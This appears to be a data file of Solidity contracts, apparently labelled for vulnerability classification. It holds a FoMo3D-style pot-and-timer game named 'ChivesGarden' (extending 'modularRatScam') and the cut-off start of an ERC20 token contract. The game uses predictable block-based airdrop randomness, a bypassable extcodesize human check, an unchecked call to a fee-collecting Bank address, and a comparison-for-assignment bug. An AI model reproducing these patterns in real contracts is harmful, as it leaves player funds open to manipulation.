uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularRatScam is RSEvents {}
contract ChivesGarden is modularRatScam {
using SafeMath for *;
using NameFilter for string;
using RSKeysCalc for uint256;
BankInterfaceForForwarder constant private Bank = BankInterfaceForForwarder(0xfa1678C00299fB685794865eA5e20dB155a8C913);
ChivesBookInterface constant private ChivesBook = ChivesBookInterface(0xE7D91A421D816349Cf0CD9C4b7a10123C2B28125);
address private admin = msg.sender;
string constant public name = "Chives Garden";
string constant public symbol = "Chives";
uint256 private rndGap_ = 0;
uint256 private rndExtra_ = 0 minutes;
uint256 constant private rndInit_ = 24 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => RSdatasets.Player) public plyr_;
mapping (uint256 => RSdatasets.PlayerRounds) public plyrRnds_;
mapping (uint256 => mapping (uint256 => RSdatasets.PlayerRounds)) public plyrRnds;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
uint256 public rID_;
RSdatasets.Round public round_;
mapping (uint256 => RSdatasets.Round) public round;
uint256 public fees_ = 60;
uint256 public potSplit_ = 45;
constructor()
public
{
}
modifier isActivated() {
require(activated_ == true, "its not ready yet");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "too little money");
require(_eth <= 100000000000000000000000, "too much money");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
RSdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round[_rID].end && round[_rID].ended == false && round[_rID].plyr != 0)
{
RSdatasets.EventReturns memory _eventData_;
round[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit RSEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = ChivesBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = ChivesBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = ChivesBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit RSEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0)))
return ( (round[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round[_rID].end)
if (_now > round[_rID].strt + rndGap_)
return( (round[_rID].end).sub(_now) );
else
return( (round[_rID].strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round[_rID].end && round[_rID].ended == false && round[_rID].plyr != 0)
{
if (round[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
plyrRnds_[_pID] = plyrRnds[_pID][_rID];
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round[_rID].mask).add(((((round[_rID].pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round[_rID].keys))).mul(plyrRnds[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256)
{
uint256 _rID = rID_;
return
(
round[_rID].keys,
round[_rID].end,
round[_rID].strt,
round[_rID].pot,
round[_rID].plyr,
plyr_[round[_rID].plyr].addr,
plyr_[round[_rID].plyr].name,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _eventData_);
} else {
if (_now > round[_rID].end && round[_rID].ended == false)
{
round[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, RSdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _eventData_);
} else if (_now > round[_rID].end && round[_rID].ended == false) {
round[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round[_rID].eth < 100000000000000000000 && plyrRnds[_pID][_rID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round[_rID].plyr != _pID)
round[_rID].plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds[_pID][_rID].keys = _keys.add(plyrRnds[_pID][_rID].keys);
plyrRnds[_pID][_rID].eth = _eth.add(plyrRnds[_pID][_rID].eth);
round[_rID].keys = _keys.add(round[_rID].keys);
round[_rID].eth = _eth.add(round[_rID].eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
plyrRnds_[_pID] = plyrRnds[_pID][_rID];
round_ = round[_rID];
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return((((round[_rIDlast].mask).mul(plyrRnds[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds[_pID][_rIDlast].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0)))
return ( (round[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round[_rID].strt + rndGap_ && (_now <= round[_rID].end || (_now > round[_rID].end && round[_rID].plyr == 0)))
return ( (round[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(ChivesBook), "only ChivesBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(ChivesBook), "only ChivesBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = ChivesBook.getPlayerID(msg.sender);
bytes32 _name = ChivesBook.getPlayerName(_pID);
uint256 _laff = ChivesBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(RSdatasets.EventReturns memory _eventData_)
private
returns (RSdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round[_rID].plyr;
uint256 _pot = round[_rID].pot;
uint256 _win = (_pot.mul(45)) / 100;
uint256 _com = (_pot / 10);
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
round[_rID].mask = _ppt.add(round[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = _com;
rID_++;
_rID++;
round[_rID].strt = now + rndExtra_;
round[_rID].end = now + rndInit_ + rndExtra_;
round[_rID].pot = _com;
round_ = round[_rID];
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds[_pID][_rIDlast].mask = _earnings.add(plyrRnds[_pID][_rIDlast].mask);
plyrRnds_[_pID] = plyrRnds[_pID][_rIDlast];
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round[_rID].end && round[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round[_rID].end);
if (_newTime < (rndMax_).add(_now))
round[_rID].end = _newTime;
else
round[_rID].end = rndMax_.add(_now);
round_ = round[_rID];
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _com = _eth * 5 / 100;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit RSEvents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _pID, _aff, now);
} else {
_com += _aff;
}
if (!address(Bank).call.value(_com)(bytes4(keccak256("deposit()"))))
{
}
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
returns(RSdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(20) / 100);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round[_rID].pot = _pot.add(_dust).add(round[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
round_ = round[_rID];
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round[_rID].keys);
round[_rID].mask = _ppt.add(round[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds[_pID][_rID].mask = (((round[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds[_pID][_rID].mask);
plyrRnds_[_pID] = plyrRnds[_pID][_rID];
round_ = round[_rID];
return(_gen.sub((_ppt.mul(round[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, RSdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit RSEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin);
require(activated_ == false, "ratscam already activated");
activated_ = true;
rID_ = 1;
round[1].strt = now + rndExtra_;
round[1].end = now + rndInit_ + rndExtra_;
round_ = round[1];
}
}
library RSdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
}
}
library RSKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface BankInterfaceForForwarder {
function deposit() external payable returns(bool);
}
interface ChivesBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 1,845 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
